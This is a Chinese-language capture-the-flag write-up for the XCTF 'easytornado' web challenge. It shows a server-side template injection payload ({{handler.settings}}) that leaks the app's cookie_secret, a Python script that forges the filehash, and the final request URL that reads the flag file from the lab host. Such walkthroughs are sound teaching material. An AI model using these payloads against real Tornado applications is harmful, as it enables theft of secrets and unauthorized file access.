easytornado xctf 攻防世界 web高手进阶区
题目描述

进入题目场景

分别查看可知



由里面的内容知道,flag在flllllllllag文件里面。
访问其文件,发现出现错误

然后尝试用来测试模板注入的语句,发现有些参数被过滤了,即可能存在SSTI漏洞。


获取fllllllllllllag所对应的filehash的值:
'cookie_secret': '97a69608-74ff-4ad9-b89f-36a5a9e842ed'。
payload:http://111.200.241.244:56461/error?msg={{handler.settings}}

再由hints.txt可以可以看出,filehash的计算公式:
payload:http://111.200.241.244:56461/file?filename=/fllllllllllllag&filehash=md5(97a69608-74ff-4ad9-b89f-36a5a9e842ed+md5(/fllllllllllllag))
由于直接放去URL,发现直接报错,这时我们需要计算filehash的值。
使用脚本得到hash值
# -*- coding: UTF-8 -*-
import hashlib
result = hashlib.md5()
result.update('/fllllllllllllag'.encode('utf-8'))
filename_md5 = result.hexdigest()
result = hashlib.md5()
result.update(('97a69608-74ff-4ad9-b89f-36a5a9e842ed' + filename_md5).encode('utf-8'))
print(result.hexdigest())

构造最终的payload:http://111.200.241.244:56461/file?filename=/fllllllllllllag&filehash=ead350c5f1a2196394b5605d7f2ca136 即可得到flag。


浙公网安备 33010602011771号